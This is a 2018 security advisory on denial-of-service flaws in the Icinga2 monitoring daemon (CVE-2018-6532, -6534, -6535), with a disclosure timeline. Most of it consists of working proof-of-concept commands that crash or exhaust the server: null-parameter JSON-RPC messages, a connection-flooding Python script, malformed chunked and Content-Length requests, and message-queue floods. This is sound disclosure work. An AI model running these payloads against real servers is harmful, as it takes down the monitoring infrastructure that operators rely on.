Author: Michael Hanselmann <https://hansmi.ch/>
Updated: 2018-03-21
A series of denial of service (DoS) vulnerabilities was discovered in
Icinga2, an Open Source network monitoring program. While some lead to
excessive resource usage, others cause the server daemon to terminate
after asserting on pointer values.
All reported issues have been fixed in Icinga 2.8.2.
Other security researchers may find information on how to report
security issues at <https://www.icinga.com/community/security/>.
CVEs
----
CVE-2018-6532: By sending specially crafted requests, authenticated and
unauthenticated, an attacker can exhaust a lot of memory on the server
side, triggering the OOM killer.
Patches: https://github.com/Icinga/icinga2/pull/6103 and others
CVE-2018-6534: By sending specially crafted messages, an attacker can
cause a NULL pointer dereference, which can cause Icinga2 to crash.
Patches: https://github.com/Icinga/icinga2/pull/6104
CVE-2018-6535: Lack of a constant-time password comparison function can
disclose the password to an attacker.
Patches: https://github.com/Icinga/icinga2/pull/5715
Timeline
--------
2018-01-16 to 2018-01-18: An investigation after a program crash while
configuring Icinga2 led to the discovery of a series of denial of
service (DoS).
2018-01-18: A GnuPG-encrypted e-mail was sent to one of Icinga2's core
developers asking for the appropriate contact address for security
concerns. As of January 29, 2018 no reply was received.
2018-01-19: A work colleague sends an e-mail with a question to the same
effect to CEO of Netways. As of January 29, 2018 no reply was received.
2018-01-29: An initial version of this report is sent to info@icinga.com
and info@netways.de.
2018-01-31: Icinga project confirms the verification of all findings and
starts working on patches.
2018-02-07: Icinga project delivers first set of patches and makes minor
changes after review by reporter. CVE numbers have been requested and
assigned.
2018-02-22: Changes are merged into public Git master branch.
2018-02-23: Reviewed code in more depth and reported one missing fix and
one new issue. Documentation for future security issue reports is
available at <https://www.icinga.com/community/security/>.
Late February 2018 to early March 2018: Icinga merges more changes
related to reported issues.
2018-03-19: Author is informed that a release is planned for March 22,
2018.
2018-03-22: Icinga releases version 2.8.2.
Environment
-----------
Tests were made with Icinga2 v2.8.0-187-g025abc335 on
Debian 9 (Stretch).
Technical comment
-----------------
In most places Icinga2 uses Boost's intrusive_ptr<T> to store pointers
rather than raw pointers. intrusive_ptr<T>::operator* and
intrusive_ptr<T>::operator-> assert that the pointer value is not NULL.
At least the upstream builds for Debian Stretch have these assertions
enabled. Other environments may not, thus leading to an actual NULL
pointer dereference.
Unauthenticated DoS
-------------------
Null pointer dereference in JsonRpcConnection::SendMessage (m_Endpoint
is nullptr):
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "",
"params": {}
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665
---
Null pointer dereference in JsonRpcConnection::HeartbeatAPIHandler
(params->Get):
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "event::Heartbeat",
"params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665
---
Null pointer dereference in UpdateCertificateHandler (params->Get):
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "pki::UpdateCertificate",
"params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665
---
Null pointer dereference in ApiListener::ConfigUpdateObjectAPIHandler
(params->Get):
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665
---
Authenticated DoS
-----------------
Null pointer dereference in ApiListener::ConfigDeleteObjectAPIHandler
(params->Get), requires accept_config=true, to pass validation both
endpoints must be in same zone or destination must be a child:
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "config::DeleteObject",
"params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665 -key client.key \
-cert client.crt -CAfile ca.crt
---
Null pointer dereference in Checkable::ExecuteRemoteCheck (macros=NULL),
to pass validation both endpoints must be in same zone or destination
must be a child:
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "bar",
"jsonrpc": "2.0",
"method": "event::ExecuteCommand",
"params": {
"host": "client",
"command_type": "check_command",
"command": "yum",
"macros": null
}
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665 -key client.key \
-cert client.crt -CAfile ca.crt
---
Multi-master HA setup, both endpoints must be in same zone, NULL pointer
dereference in ClusterEvents::ExecuteCommandAPIHandler (params->Get),
dereference location depends on accept_commands (works with either
value):
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "event::ExecuteCommand",
"params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665 -key server.key \
-cert server.crt
---
ApiListener::ConfigUpdateHandler (params->Get), requires
accept_config=true, to pass validation both endpoints must be in same
zone or destination must be a child:
---
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "config::Update",
"params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665 -key client.key \
-cert client.crt
---
Authenticated script execution leads to pointer dereference
-----------------------------------------------------------
Execute script and pass "null" as pointer value, requires "console"
permission, may also apply to other functions available via script and
taking pointers:
---
curl -H 'Accept: application/json' -XPOST -v -k -u "user:password" \
'https://192.0.2.1:5665/v1/console/execute-script?command=get_check_command%28%22dummy%22%29.execute%28null%2C%20null%2C%20null%2C%20false%29'
---
Excessive resource usage
------------------------
Unbounded resource usage due to spawning one thread per connection; this
Python script is effectively a threadbomb on the destination and uses
all available memory on the Icinga server (~14.8k connections used
~780 MB of RAM on a x86_64 system); clients not sending anything are
never terminated:
---
import resource
import socket
import time
resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))
conn = []
while True:
try:
conn.append(socket.create_connection(('192.0.2.1', 5665)))
except BaseException as err:
print(err)
break
print(len(conn))
while True:
time.sleep(1)
---
Produce std::bad_alloc in HttpChunkedEncoding::ReadChunkFromStream
(length indicator is signed integer; size check seems to prevent worse
things); same principle should work in responses to clients
---
{ sleep 1; echo -ne 'GET / HTTP/1.1\nConnection: close\nAccept: application/json\nTransfer-Encoding: chunked\n\n-2\r\nDummy\r\n0\r\n\r\n'; sleep 5; } | \
openssl s_client -connect 192.0.2.1:5665
---
Consume lots of memory, sometimes leading to assertions (requires
sufficient bandwidth to server):
---
{ sleep 1; echo -ne 'GET / HTTP/1.1\nConnection: close\nAccept: application/json\nTransfer-Encoding: chunked\n\nFFFFFFFF\r\n'; while true; do dd if=/dev/zero bs=1M; done; } | \
openssl s_client -connect 192.0.2.1:5665
---
Consume lots of memory and CPU; can trigger OOM killer; run multiple
instances in parallel:
---
for i in {0..10}; do \
{ \
sleep 1; echo -ne '999999999:'; \
while true; do dd if=/dev/zero bs=1M; done; \
} | openssl s_client -connect 192.0.2.1:5665 &
done; wait
---
Inject many messages into queue and trigger OOM killer:
---
for _ in {0..1000}; do \
{ \
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "icinga::Hello",
"params": {}
}') && \
sleep 1; \
for ((i=0; ; ++i)); do \
echo -n "${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},"; \
done \
} | socat stdin OPENSSL:192.0.2.1:5665,verify=0,rcvbuf=10,rcvbuf-late=10 &
done; wait
---
Invoke OOM killer (negative content length):
---
{ sleep 1; echo -ne 'GET / HTTP/1.1\nConnection: close\nAccept: application/json\nContent-Length: -999\n\nfoobar'; dd if=/dev/zero bs=1M; } | \
openssl s_client -connect 192.0.2.1:5665
---
Provoke OOM killer by filling internal JSON message queue:
---
for _ in {0..1000}; do \
{ \
msg=$(jq --null-input --compact-output --raw-output '{
"id": "foo",
"jsonrpc": "2.0",
"method": "icinga::Hello",
"params": {}
}') && \
sleep 1; \
for ((i=0; ; ++i)); do \
echo -n "${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},"; \
done \
} | socat stdin OPENSSL:192.0.2.1:5665,verify=0,rcvbuf=10,rcvbuf-late=10 &
done; wait
---
Bonus findings
--------------
HttpServerConnection::ProcessMessageAsync doesn't use constant-time
password comparison (https://codahale.com/a-lesson-in-timing-attacks/).
EventQueue::ProcessEvent and FilterUtility::GetFilterTargets use "&*" on
a possibly-NULL std::unique_ptr; it's the author's understanding that
doing so may be undefined behaviour and should be avoided:
http://www.open-std.org/jtc1/sc22/wg21/docs/cwg_active.html#232
(drafting as of this writing); std::unique_ptr<T>::get may be more
suitable.
There is no way to disable unauthenticated connections, i.e. those
without client certificates. In environments where the certificates are
configured through other means, i.e. Puppet, remote connections could be
limited to those presenting a client certificate.